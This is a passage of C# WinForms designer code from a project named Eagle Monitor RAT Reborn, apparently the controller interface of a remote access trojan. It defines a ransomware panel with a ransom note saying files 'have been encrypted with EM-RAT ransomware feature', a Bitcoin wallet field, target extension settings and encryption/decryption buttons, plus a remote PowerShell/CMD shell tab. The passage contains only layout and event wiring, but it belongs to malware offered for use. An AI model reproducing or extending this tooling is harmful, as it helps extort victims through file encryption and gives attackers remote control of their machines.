System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.msgRansomwareGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.msgRansomwareGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.msgRansomwareGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.msgRansomwareGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.msgRansomwareGuna2TextBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.msgRansomwareGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.msgRansomwareGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.msgRansomwareGuna2TextBox.Location = new System.Drawing.Point(272, 117); this.msgRansomwareGuna2TextBox.Multiline = true; this.msgRansomwareGuna2TextBox.Name = "msgRansomwareGuna2TextBox"; this.msgRansomwareGuna2TextBox.PasswordChar = '\0'; this.msgRansomwareGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.msgRansomwareGuna2TextBox.PlaceholderText = "Your files have been encrypted with EM-RAT ransomware feature."; this.msgRansomwareGuna2TextBox.SelectedText = ""; this.msgRansomwareGuna2TextBox.Size = new System.Drawing.Size(802, 300); this.msgRansomwareGuna2TextBox.TabIndex = 67; // // walletGuna2TextBox // this.walletGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.walletGuna2TextBox.Animated = true; this.walletGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.walletGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.walletGuna2TextBox.DefaultText = ""; this.walletGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.walletGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.walletGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.walletGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.walletGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.walletGuna2TextBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.walletGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.walletGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.walletGuna2TextBox.Location = new System.Drawing.Point(272, 75); this.walletGuna2TextBox.Name = "walletGuna2TextBox"; this.walletGuna2TextBox.PasswordChar = '\0'; this.walletGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.walletGuna2TextBox.PlaceholderText = "BTC Wallet : 1111111"; this.walletGuna2TextBox.SelectedText = ""; this.walletGuna2TextBox.Size = new System.Drawing.Size(802, 36); this.walletGuna2TextBox.TabIndex = 66; // // checkExtensionsGuna2CheckBox // this.checkExtensionsGuna2CheckBox.Animated = true; this.checkExtensionsGuna2CheckBox.AutoSize = true; this.checkExtensionsGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.checkExtensionsGuna2CheckBox.CheckedState.BorderRadius = 0; this.checkExtensionsGuna2CheckBox.CheckedState.BorderThickness = 0; this.checkExtensionsGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.checkExtensionsGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.checkExtensionsGuna2CheckBox.Location = new System.Drawing.Point(272, 42); this.checkExtensionsGuna2CheckBox.Name = "checkExtensionsGuna2CheckBox"; this.checkExtensionsGuna2CheckBox.Size = new System.Drawing.Size(113, 17); this.checkExtensionsGuna2CheckBox.TabIndex = 65; this.checkExtensionsGuna2CheckBox.Text = "Check extensions"; this.checkExtensionsGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.checkExtensionsGuna2CheckBox.UncheckedState.BorderRadius = 0; this.checkExtensionsGuna2CheckBox.UncheckedState.BorderThickness = 0; this.checkExtensionsGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // panel20 // this.panel20.Controls.Add(this.extensionRansomwareDataGridView); this.panel20.Controls.Add(this.guna2VScrollBar14); this.panel20.Dock = System.Windows.Forms.DockStyle.Left; this.panel20.Location = new System.Drawing.Point(0, 0); this.panel20.Name = "panel20"; this.panel20.Padding = new System.Windows.Forms.Padding(3); this.panel20.Size = new System.Drawing.Size(266, 420); this.panel20.TabIndex = 64; // // extensionRansomwareDataGridView // this.extensionRansomwareDataGridView.AllowDrop = true; this.extensionRansomwareDataGridView.AllowUserToAddRows = false; this.extensionRansomwareDataGridView.AllowUserToDeleteRows = false; this.extensionRansomwareDataGridView.AllowUserToResizeColumns = false; this.extensionRansomwareDataGridView.AllowUserToResizeRows = false; this.extensionRansomwareDataGridView.BackgroundColor = System.Drawing.Color.White; this.extensionRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.extensionRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.extensionRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; dataGridViewCellStyle62.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; dataGridViewCellStyle62.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); dataGridViewCellStyle62.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); dataGridViewCellStyle62.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); dataGridViewCellStyle62.SelectionBackColor = System.Drawing.SystemColors.Highlight; dataGridViewCellStyle62.SelectionForeColor = System.Drawing.SystemColors.HighlightText; dataGridViewCellStyle62.WrapMode = System.Windows.Forms.DataGridViewTriState.True; this.extensionRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle62; this.extensionRansomwareDataGridView.ColumnHeadersHeight = 36; this.extensionRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column47}); this.extensionRansomwareDataGridView.ContextMenuStrip = this.extensionContextMenuStrip; this.extensionRansomwareDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; this.extensionRansomwareDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; this.extensionRansomwareDataGridView.EnableHeadersVisualStyles = false; this.extensionRansomwareDataGridView.GridColor = System.Drawing.Color.White; this.extensionRansomwareDataGridView.Location = new System.Drawing.Point(3, 3); this.extensionRansomwareDataGridView.Name = "extensionRansomwareDataGridView"; this.extensionRansomwareDataGridView.ReadOnly = true; this.extensionRansomwareDataGridView.RowHeadersVisible = false; dataGridViewCellStyle64.BackColor = System.Drawing.Color.White; dataGridViewCellStyle64.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); dataGridViewCellStyle64.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle64.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.extensionRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle64; this.extensionRansomwareDataGridView.RowTemplate.Height = 26; this.extensionRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.extensionRansomwareDataGridView.Size = new System.Drawing.Size(242, 414); this.extensionRansomwareDataGridView.TabIndex = 18; this.extensionRansomwareDataGridView.TabStop = false; // // Column47 // this.Column47.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle63.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); this.Column47.DefaultCellStyle = dataGridViewCellStyle63; this.Column47.FillWeight = 25F; this.Column47.HeaderText = "Extension"; this.Column47.Name = "Column47"; this.Column47.ReadOnly = true; // // extensionContextMenuStrip // this.extensionContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.extensionContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.addExtensionToolStripMenuItem, this.removeExtensionToolStripMenuItem}); this.extensionContextMenuStrip.Name = "clientContextMenuStrip"; this.extensionContextMenuStrip.Size = new System.Drawing.Size(130, 72); // // addExtensionToolStripMenuItem // this.addExtensionToolStripMenuItem.BackColor = System.Drawing.Color.White; this.addExtensionToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.addExtensionToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.add_32px; this.addExtensionToolStripMenuItem.Name = "addExtensionToolStripMenuItem"; this.addExtensionToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.addExtensionToolStripMenuItem.Text = "Add"; this.addExtensionToolStripMenuItem.Click += new System.EventHandler(this.addExtensionToolStripMenuItem_Click); // // removeExtensionToolStripMenuItem // this.removeExtensionToolStripMenuItem.BackColor = System.Drawing.Color.White; this.removeExtensionToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removeExtensionToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removeExtensionToolStripMenuItem.Name = "removeExtensionToolStripMenuItem"; this.removeExtensionToolStripMenuItem.Size = new System.Drawing.Size(129, 34); this.removeExtensionToolStripMenuItem.Text = "Remove"; this.removeExtensionToolStripMenuItem.Click += new System.EventHandler(this.removeExtensionToolStripMenuItem_Click); // // guna2VScrollBar14 // this.guna2VScrollBar14.Dock = System.Windows.Forms.DockStyle.Right; this.guna2VScrollBar14.FillColor = System.Drawing.Color.White; this.guna2VScrollBar14.InUpdate = false; this.guna2VScrollBar14.LargeChange = 10; this.guna2VScrollBar14.Location = new System.Drawing.Point(245, 3); this.guna2VScrollBar14.Minimum = 1; this.guna2VScrollBar14.Name = "guna2VScrollBar14"; this.guna2VScrollBar14.ScrollbarSize = 18; this.guna2VScrollBar14.Size = new System.Drawing.Size(18, 414); this.guna2VScrollBar14.TabIndex = 19; this.guna2VScrollBar14.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar14.Value = 1; // // subDirectoriesGuna2CheckBox // this.subDirectoriesGuna2CheckBox.Animated = true; this.subDirectoriesGuna2CheckBox.AutoSize = true; this.subDirectoriesGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.subDirectoriesGuna2CheckBox.CheckedState.BorderRadius = 0; this.subDirectoriesGuna2CheckBox.CheckedState.BorderThickness = 0; this.subDirectoriesGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.subDirectoriesGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.subDirectoriesGuna2CheckBox.Location = new System.Drawing.Point(272, 19); this.subDirectoriesGuna2CheckBox.Name = "subDirectoriesGuna2CheckBox"; this.subDirectoriesGuna2CheckBox.Size = new System.Drawing.Size(140, 17); this.subDirectoriesGuna2CheckBox.TabIndex = 63; this.subDirectoriesGuna2CheckBox.Text = "Include sub directories"; this.subDirectoriesGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.subDirectoriesGuna2CheckBox.UncheckedState.BorderRadius = 0; this.subDirectoriesGuna2CheckBox.UncheckedState.BorderThickness = 0; this.subDirectoriesGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // tabPage28 // this.tabPage28.Controls.Add(this.startDecryptionGuna2Button); this.tabPage28.Controls.Add(this.startEncryptionGuna2Button); this.tabPage28.Controls.Add(this.generateRSAKeyGuna2Button); this.tabPage28.Location = new System.Drawing.Point(4, 44); this.tabPage28.Name = "tabPage28"; this.tabPage28.Padding = new System.Windows.Forms.Padding(3); this.tabPage28.Size = new System.Drawing.Size(1077, 420); this.tabPage28.TabIndex = 5; this.tabPage28.Text = "Operation"; this.tabPage28.UseVisualStyleBackColor = true; // // startDecryptionGuna2Button // this.startDecryptionGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None; this.startDecryptionGuna2Button.Animated = true; this.startDecryptionGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.startDecryptionGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.startDecryptionGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.startDecryptionGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.startDecryptionGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.startDecryptionGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.startDecryptionGuna2Button.ForeColor = System.Drawing.Color.White; this.startDecryptionGuna2Button.Location = new System.Drawing.Point(538, 248); this.startDecryptionGuna2Button.Name = "startDecryptionGuna2Button"; this.startDecryptionGuna2Button.Size = new System.Drawing.Size(167, 36); this.startDecryptionGuna2Button.TabIndex = 38; this.startDecryptionGuna2Button.Text = "Start Decryption"; this.startDecryptionGuna2Button.Click += new System.EventHandler(this.startDecryptionGuna2Button_Click); // // startEncryptionGuna2Button // this.startEncryptionGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None; this.startEncryptionGuna2Button.Animated = true; this.startEncryptionGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.startEncryptionGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.startEncryptionGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.startEncryptionGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.startEncryptionGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.startEncryptionGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.startEncryptionGuna2Button.ForeColor = System.Drawing.Color.White; this.startEncryptionGuna2Button.Location = new System.Drawing.Point(343, 248); this.startEncryptionGuna2Button.Name = "startEncryptionGuna2Button"; this.startEncryptionGuna2Button.Size = new System.Drawing.Size(167, 36); this.startEncryptionGuna2Button.TabIndex = 37; this.startEncryptionGuna2Button.Text = "Start Encryption"; this.startEncryptionGuna2Button.Click += new System.EventHandler(this.startEncryptionGuna2Button_Click); // // generateRSAKeyGuna2Button // this.generateRSAKeyGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None; this.generateRSAKeyGuna2Button.Animated = true; this.generateRSAKeyGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.generateRSAKeyGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.generateRSAKeyGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.generateRSAKeyGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.generateRSAKeyGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.generateRSAKeyGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.generateRSAKeyGuna2Button.ForeColor = System.Drawing.Color.White; this.generateRSAKeyGuna2Button.Location = new System.Drawing.Point(343, 206); this.generateRSAKeyGuna2Button.Name = "generateRSAKeyGuna2Button"; this.generateRSAKeyGuna2Button.Size = new System.Drawing.Size(362, 36); this.generateRSAKeyGuna2Button.TabIndex = 37; this.generateRSAKeyGuna2Button.Text = "Generate RSA key"; this.generateRSAKeyGuna2Button.Click += new System.EventHandler(this.generateRSAKeyGuna2Button_Click); // // tabPage29 // this.tabPage29.Controls.Add(this.panel21); this.tabPage29.Controls.Add(this.remoteShellGuna2ToggleSwitch); this.tabPage29.Controls.Add(this.label11); this.tabPage29.Controls.Add(this.remoteShellGuna2TextBox); this.tabPage29.Controls.Add(this.remoteShellGuna2Button); this.tabPage29.Location = new System.Drawing.Point(4, 4); this.tabPage29.Name = "tabPage29"; this.tabPage29.Padding = new System.Windows.Forms.Padding(3); this.tabPage29.Size = new System.Drawing.Size(1091, 474); this.tabPage29.TabIndex = 7; this.tabPage29.Text = "Shell"; this.tabPage29.UseVisualStyleBackColor = true; // // panel21 // this.panel21.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.panel21.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.panel21.Controls.Add(this.remoteShellStdOutRichTextBox); this.panel21.Location = new System.Drawing.Point(6, 6); this.panel21.Name = "panel21"; this.panel21.Padding = new System.Windows.Forms.Padding(3); this.panel21.Size = new System.Drawing.Size(1079, 399); this.panel21.TabIndex = 66; // // remoteShellStdOutRichTextBox // this.remoteShellStdOutRichTextBox.BackColor = System.Drawing.Color.White; this.remoteShellStdOutRichTextBox.BorderStyle = System.Windows.Forms.BorderStyle.None; this.remoteShellStdOutRichTextBox.Dock = System.Windows.Forms.DockStyle.Fill; this.remoteShellStdOutRichTextBox.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.remoteShellStdOutRichTextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.remoteShellStdOutRichTextBox.Location = new System.Drawing.Point(3, 3); this.remoteShellStdOutRichTextBox.Name = "remoteShellStdOutRichTextBox"; this.remoteShellStdOutRichTextBox.ReadOnly = true; this.remoteShellStdOutRichTextBox.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; this.remoteShellStdOutRichTextBox.Size = new System.Drawing.Size(1073, 393); this.remoteShellStdOutRichTextBox.TabIndex = 55; this.remoteShellStdOutRichTextBox.Text = ""; this.remoteShellStdOutRichTextBox.TextChanged += new System.EventHandler(this.remoteShellStdOutRichTextBox_TextChanged); // // remoteShellGuna2ToggleSwitch // this.remoteShellGuna2ToggleSwitch.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.remoteShellGuna2ToggleSwitch.Animated = true; this.remoteShellGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.remoteShellGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.remoteShellGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White; this.remoteShellGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White; this.remoteShellGuna2ToggleSwitch.Location = new System.Drawing.Point(96, 408); this.remoteShellGuna2ToggleSwitch.Name = "remoteShellGuna2ToggleSwitch"; this.remoteShellGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20); this.remoteShellGuna2ToggleSwitch.TabIndex = 64; this.toolTip1.SetToolTip(this.remoteShellGuna2ToggleSwitch, "CMD is the default program to run command."); this.remoteShellGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.remoteShellGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190))))); this.remoteShellGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White; this.remoteShellGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White; // // label11 // this.label11.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label11.Location = new System.Drawing.Point(9, 408); this.label11.Name = "label11"; this.label11.Size = new System.Drawing.Size(68, 20); this.label11.TabIndex = 65; this.label11.Text = "Powershell :"; this.label11.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // remoteShellGuna2TextBox // this.remoteShellGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.remoteShellGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.remoteShellGuna2TextBox.DefaultText = ""; this.remoteShellGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.remoteShellGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.remoteShellGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.remoteShellGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.remoteShellGuna2TextBox.Enabled = false; this.remoteShellGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.remoteShellGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.remoteShellGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.remoteShellGuna2TextBox.Location = new System.Drawing.Point(137, 434); this.remoteShellGuna2TextBox.Multiline = true; this.remoteShellGuna2TextBox.Name = "remoteShellGuna2TextBox"; this.remoteShellGuna2TextBox.PasswordChar = '\0'; this.remoteShellGuna2TextBox.PlaceholderText = "whoami"; this.remoteShellGuna2TextBox.SelectedText = ""; this.remoteShellGuna2TextBox.Size = new System.Drawing.Size(948, 34); this.remoteShellGuna2TextBox.TabIndex = 1; this.remoteShellGuna2TextBox.KeyDown += new System.Windows.Forms.KeyEventHandler(this.remoteShellGuna2TextBox_KeyDown); // // remoteShellGuna2Button // this.remoteShellGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.remoteShellGuna2Button.Animated = true; this.remoteShellGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.remoteShellGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.remoteShellGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.remoteShellGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.remoteShellGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.remoteShellGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.remoteShellGuna2Button.ForeColor = System.Drawing.Color.White; this.remoteShellGuna2Button.Location = new System.Drawing.Point(6, 434); this.remoteShellGuna2Button.Name = "remoteShellGuna2Button"; this.remoteShellGuna2Button.Size = new System.Drawing.Size(125, 34); this.remoteShellGuna2Button.TabIndex = 54; this.remoteShellGuna2Button.Text = "Start Session"; this.remoteShellGuna2Button.Click += new System.EventHandler(this.remoteShellGuna2Button_Click); // // ransomwareContextMenuStrip // this.ransomwareContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.ransomwareContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.removePathToolStripMenuItem}); this.ransomwareContextMenuStrip.Name = "clientContextMenuStrip"; this.ransomwareContextMenuStrip.Size = new System.Drawing.Size(157, 38); // // removePathToolStripMenuItem // this.removePathToolStripMenuItem.BackColor = System.Drawing.Color.White; this.removePathToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removePathToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removePathToolStripMenuItem.Name = "removePathToolStripMenuItem"; this.removePathToolStripMenuItem.Size = new System.Drawing.Size(156, 34); this.removePathToolStripMenuItem.Text = "Remove Path"; this.removePathToolStripMenuItem.Visible = false; this.removePathToolStripMenuItem.Click += new System.EventHandler(this.removePathToolStripMenuItem_Click); // // logoPictureBox // this.logoPictureBox.BackColor = System.Drawing.Color.Transparent; this.logoPictureBox.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.eagle2; this.logoPictureBox.Location = new System.Drawing.Point(4, 1); this.logoPictureBox.Name = "logoPictureBox"; this.logoPictureBox.Size = new System.Drawing.Size(32, 28); this.logoPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.logoPictureBox.TabIndex = 5; this.logoPictureBox.TabStop = false; this.logoPictureBox.MouseDown += new System.Windows.Forms.MouseEventHandler(this.logoPictureBox_MouseDown); // // panel6 // this.panel6.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.panel6.Controls.Add(this.guna2Panel5); this.panel6.Dock = System.Windows.Forms.DockStyle.Bottom; this.panel6.Location = new System.Drawing.Point(2, 514); this.panel6.Name = "panel6"; this.panel6.Padding = new System.Windows.Forms.Padding(0, 2, 0, 0); this.panel6.Size = new System.Drawing.Size(1279, 39); this.panel6.TabIndex = 9; // // guna2Panel5 // this.guna2Panel5.BackColor = System.Drawing.Color.White; this.guna2Panel5.Controls.Add(this.bytesSentlabel); this.guna2Panel5.Controls.Add(this.bytesReceivedLabel); this.guna2Panel5.Dock = System.Windows.Forms.DockStyle.Fill; this.guna2Panel5.Location = new System.Drawing.Point(0, 2); this.guna2Panel5.Name = "guna2Panel5"; this.guna2Panel5.Size = new System.Drawing.Size(1279, 37); this.guna2Panel5.TabIndex = 3; // // bytesSentlabel // this.bytesSentlabel.AutoSize = true; this.bytesSentlabel.BackColor = System.Drawing.Color.Transparent; this.bytesSentlabel.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(80)))), ((int)(((byte)(80)))), ((int)(((byte)(80))))); this.bytesSentlabel.Location = new System.Drawing.Point(3, 20); 